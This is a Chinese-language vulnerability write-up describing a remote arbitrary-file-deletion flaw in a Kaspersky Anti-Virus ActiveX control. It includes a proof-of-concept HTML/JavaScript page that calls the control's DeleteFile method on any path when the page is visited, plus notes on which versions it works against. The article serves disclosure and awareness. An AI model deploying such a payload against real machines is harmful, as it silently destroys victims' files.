【警告】5.22 Kaspersky Anti-Virus 远程删除任意文件漏洞分析及利用代码
出于技术的原因对原文进行了修改。
作者:Bluephantom
首先声明,这个漏洞是朋友zf在调试程序的时候发现的。
下面来说说这个漏洞,最初发现这个漏洞是由一个ActiveX控件引起的:位于Kaspersky Anti-Virus安装目录下的AxKLProd60.dll。这个控件调用了一个函数:DeleteFile(),获取到这个ActiveX控件的 classid即可以在网页中利用这个控件执行DeleteFile的操作。至于该控件的classid获取方法很简单,用UE打开就能找到了。zf告诉我的时候就同时给我了利用代码:
<SCRIPT language=javascript>
function test()
{
bug.DeleteFile("D:\\1.txt");
}
</script>
<
object classid="clsid:D9EC22E7-1A86-4F7C-8940-0303AE5D67××" name="bug">
//这是卡巴斯基组件的注册标识
</
object>
<script>
javascript:test(); //调用测试函数
</script>
以上代码存为html文件,在D盘根目录下新建一个1.txt,访问一下这个页面,之前新建的1.txt被删除就说明成功了。上面的D:\\1.txt可以改为任意路径。
之后我针对此代码进行了一些测试,发现并不是通用的。bug.DeleteFile("D:\\1.txt");这样的写法对多数版本有效,但某些版本必须写成:bug.DeleteFile("D:\1.txt");。而且此代码在IE7上执行会被拦截。
看来杀毒软件出错也是很可怕的。前几天的Symantec的误报也害了很多机器。所以提醒大家不要过于依赖杀毒软件,毕竟它们也是程序,也是会有漏洞和BUG的。提高自己的安全意识才是最重要的。希望Kaspersky能尽早修复此漏洞。